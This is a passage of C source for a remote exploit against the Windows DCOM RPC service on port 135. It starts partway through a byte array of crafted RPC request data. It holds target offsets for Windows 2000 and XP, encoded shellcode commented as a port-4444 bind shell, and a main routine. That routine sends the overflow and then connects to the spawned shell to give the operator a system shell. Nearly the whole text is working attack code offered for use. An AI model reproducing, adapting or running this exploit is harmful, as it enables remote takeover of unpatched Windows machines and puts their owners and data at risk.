      0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xF0, 0xAD, 0xBA, 0x00,
      0x00, 0x00, 0x00, 0xA8, 0xF4, 0x0B, 0x00, 0x60, 0x03, 0x00,
      0x00, 0x60, 0x03, 0x00, 0x00, 0x4D, 0x45, 0x4F, 0x57, 0x04,
      0x00, 0x00, 0x00, 0xA2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x38,
      0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x30,
      0x03, 0x00, 0x00, 0x28, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xC8,
      0x00, 0x00, 0x00, 0x4D, 0x45, 0x4F, 0x57, 0x28, 0x03, 0x00,
      0x00, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
      0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0xC4, 0x28, 0xCD, 0x00, 0x64, 0x29, 0xCD,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xB9,
      0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x46, 0xAB, 0x01, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x46, 0xA5, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xA6, 0x01, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x46, 0xA4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xAD,
      0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x46, 0xAA, 0x01, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x46, 0x07, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x58,
      0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
      0x00, 0x20, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x30,
      0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08,
      0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x50, 0x00, 0x00, 0x00, 0x4F,
      0xB6, 0x88, 0x20, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC,
      0xCC, 0x48, 0x00, 0x00, 0x00, 0x07, 0x00, 0x66, 0x00, 0x06,
      0x09, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x46, 0x10, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x19, 0x0C, 0x00, 0x58,
      0x00, 0x00, 0x00, 0x05, 0x00, 0x06, 0x00, 0x01, 0x00, 0x00,
      0x00, 0x70, 0xD8, 0x98, 0x93, 0x98, 0x4F, 0xD2, 0x11, 0xA9,
      0x3D, 0xBE, 0x57, 0xB2, 0x00, 0x00, 0x00, 0x32, 0x00, 0x31,
      0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x80,
      0x00, 0x00, 0x00, 0x0D, 0xF0, 0xAD, 0xBA, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x18, 0x43, 0x14, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x4D,
      0x45, 0x4F, 0x57, 0x04, 0x00, 0x00, 0x00, 0xC0, 0x01, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x46, 0x3B, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00,
      0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01,
      0x00, 0x81, 0xC5, 0x17, 0x03, 0x80, 0x0E, 0xE9, 0x4A, 0x99,
      0x99, 0xF1, 0x8A, 0x50, 0x6F, 0x7A, 0x85, 0x02, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x10, 0x08, 0x00, 0xCC,
      0xCC, 0xCC, 0xCC, 0x30, 0x00, 0x00, 0x00, 0x78, 0x00, 0x6E,
      0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xDA, 0x0D, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x0C,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00,
      0x00, 0x46, 0x00, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
      0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x10, 0x00, 0x00,
      0x00, 0x30, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x68,
      0x00, 0x00, 0x00, 0x0E, 0x00, 0xFF, 0xFF, 0x68, 0x8B, 0x0B,
      0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00
};
 
unsigned char request2[] = {
   0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
      0x00, 0x5C, 0x00, 0x5C, 0x00
};
 
unsigned char request3[] = {
   0x5C, 0x00, 0x43, 0x00, 0x24, 0x00, 0x5C, 0x00, 0x31, 0x00, 0x32,
      0x00, 0x33, 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, 0x00, 0x31,
      0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31,
      0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31,
      0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x2E,
      0x00, 0x64, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x00, 0x00
};
 
 
 
unsigned char *targets[] = {
   "Windows 2000 SP0 (english)",
   "Windows 2000 SP1 (english)",
   "Windows 2000 SP2 (english)",
   "Windows 2000 SP3 (english)",
   "Windows 2000 SP4 (english)",
   "Windows XP SP0 (english)",
   "Windows XP SP1 (english)",
   NULL
};
 
unsigned long offsets[] = {
   0x77e81674,
   0x77e829ec,
   0x77e824b5,
   0x77e8367a,
   0x77f92a9b,
   0x77e9afe3,
   0x77e626ba,
};
 
unsigned char sc[] = "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" 
    "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" 
    "\x46\x00\x58\x00\x46\x00\x58\x00" "\xff\xff\xff\xff"   /* return address */
   "\xcc\xe0\xfd\x7f"   /* primary thread data block */
   "\xcc\xe0\xfd\x7f"   /* primary thread data block */
    /* port 4444 bindshell */
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
   "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
   "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
   "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
   "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
   "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
   "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
   "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
   "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
   "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
   "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
   "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
   "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
   "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
   "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
   "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
   "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
   "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
   "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
   "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
   "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
   "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
   "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
   "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
   "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
   "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
   "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
   "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
   "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
   "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
   "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
   "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
 
 
 
unsigned char request4[] = {
   0x01, 0x10, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x20, 0x00, 0x00,
      0x00, 0x30, 0x00, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88,
      0x2A, 0x0C, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
      0x00, 0x28, 0x8C, 0x0C, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
 
 
/* ripped from TESO code */
#ifndef WIN32
void shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;
 
 
        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);
 
                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                printf("\n - Connection closed 
                                    by local user\n");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }
 
                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("\n - Connection closed 
                                    by remote host.\n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                printf ("\n - Read failure\n");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}
#endif
 
 
int main(int argc, char **argv)
{
 
   int     sock;
   int     len, len1;
   unsigned int target_id;
   unsigned long ret;
   struct sockaddr_in target_ip;
   unsigned short port = 135;
   unsigned char buf1[0x1000];
   unsigned char buf2[0x1000];
 
#ifdef WIN32
   WSADATA wsaData;
#endif
 
   printf("---------------------------------------------------------\n");
   printf("- Remote DCOM RPC Buffer Overflow Exploit\n");
   printf("- Original code by FlashSky and Benjurry\n");
   printf("- Rewritten by HDM <hdm [at] metasploit.com>\n");
   printf("- Ported to Win32 by Benjamin Lauzire 
        <blauziere [at] altern.org>\n");
 
 
   if (argc < 3) {
      printf("- Usage: %s <Target ID> <Target IP>\n", argv[0]);
      printf("- Targets:\n");
      for(len = 0; targets[len] != NULL; len++) {
         printf("-          %d\t%s\n", len, targets[len]);
      }
      printf("\n");
      exit(1);
   }
 
   /* yeah, get over it :) */
   target_id = atoi(argv[1]);
   ret = offsets[target_id];
 
   printf("- Using return address of 0x%.8x\n", ret);
 
   memcpy(sc + 36, (unsigned char *)&ret, 4);
 
   target_ip.sin_family = AF_INET;
   target_ip.sin_addr.s_addr = inet_addr(argv[2]);
   target_ip.sin_port = htons(port);
 
#ifdef WIN32
   if (WSAStartup(MAKEWORD(2, 0), &wsaData)) {
      printf("WSAStartup failed\n");
      return 0;
   }
#endif
 
   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
      perror("- Socket");
#ifdef WIN32
      WSACleanup();
#endif
      return (0);
   }
 
   if (connect(sock, (struct sockaddr *)&target_ip, sizeof(target_ip)) != 0) {
      perror("- Connect");
#ifdef WIN32
      WSACleanup();
#endif
      return (0);
   }
 
   len = sizeof(sc);
   memcpy(buf2, request1, sizeof(request1));
   len1 = sizeof(request1);
 
   *(unsigned long *)(request2) = *(unsigned long *)(request2) + sizeof(sc) / 2;
   *(unsigned long *)(request2 + 8) = *(unsigned long *)(request2 + 8) + 
        sizeof(sc) / 2;
 
   memcpy(buf2 + len1, request2, sizeof(request2));
   len1 = len1 + sizeof(request2);
   memcpy(buf2 + len1, sc, sizeof(sc));
   len1 = len1 + sizeof(sc);
   memcpy(buf2 + len1, request3, sizeof(request3));
   len1 = len1 + sizeof(request3);
   memcpy(buf2 + len1, request4, sizeof(request4));
   len1 = len1 + sizeof(request4);
 
   *(unsigned long *)(buf2 + 8) = *(unsigned long *)(buf2 + 8) + sizeof(sc) - 
        0xc;
   *(unsigned long *)(buf2 + 0x10) = *(unsigned long *)(buf2 + 0x10) + 
        sizeof(sc) - 0xc;
   *(unsigned long *)(buf2 + 0x80) = *(unsigned long *)(buf2 + 0x80) + 
        sizeof(sc) - 0xc;
   *(unsigned long *)(buf2 + 0x84) = *(unsigned long *)(buf2 + 0x84) + 
        sizeof(sc) - 0xc;
   *(unsigned long *)(buf2 + 0xb4) = *(unsigned long *)(buf2 + 0xb4) + 
        sizeof(sc) - 0xc;
   *(unsigned long *)(buf2 + 0xb8) = *(unsigned long *)(buf2 + 0xb8) + 
        sizeof(sc) - 0xc;
   *(unsigned long *)(buf2 + 0xd0) = *(unsigned long *)(buf2 + 0xd0) + 
        sizeof(sc) - 0xc;
   *(unsigned long *)(buf2 + 0x18c) = *(unsigned long *)(buf2 + 0x18c) + 
        sizeof(sc) - 0xc;
 
   if (send(sock, bindstr, sizeof(bindstr), 0) == -1) {
      perror("- Send");
#ifdef WIN32
      WSACleanup();
#endif
      return (0);
   }
 
   len = recv(sock, buf1, 1000, 0);
 
   if (send(sock, buf2, len1, 0) == -1) {
      perror("- Send");
#ifdef WIN32
      WSACleanup();
#endif
      return (0);
   }
 
#ifdef WIN32
   closesocket(sock);
   printf("Use Netcat to connect to %s:4444\n", argv[2]);
   WSACleanup();
#else
   close(sock);
   sleep(1);
 
   target_ip.sin_family = AF_INET;
   target_ip.sin_addr.s_addr = inet_addr(argv[2]);
   target_ip.sin_port = htons(4444);
 
   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
      perror("- Socket");
      return (0);
   }
 
   if (connect(sock, (struct sockaddr *)&target_ip, sizeof(target_ip)) != 0) {
      printf("- Exploit appeared to have failed.\n");
      return (0);
   }
 
   printf("- Dropping to System Shell...\n\n");
 
   shell(sock);
#endif
 
   return (0);
}

credit : pe3z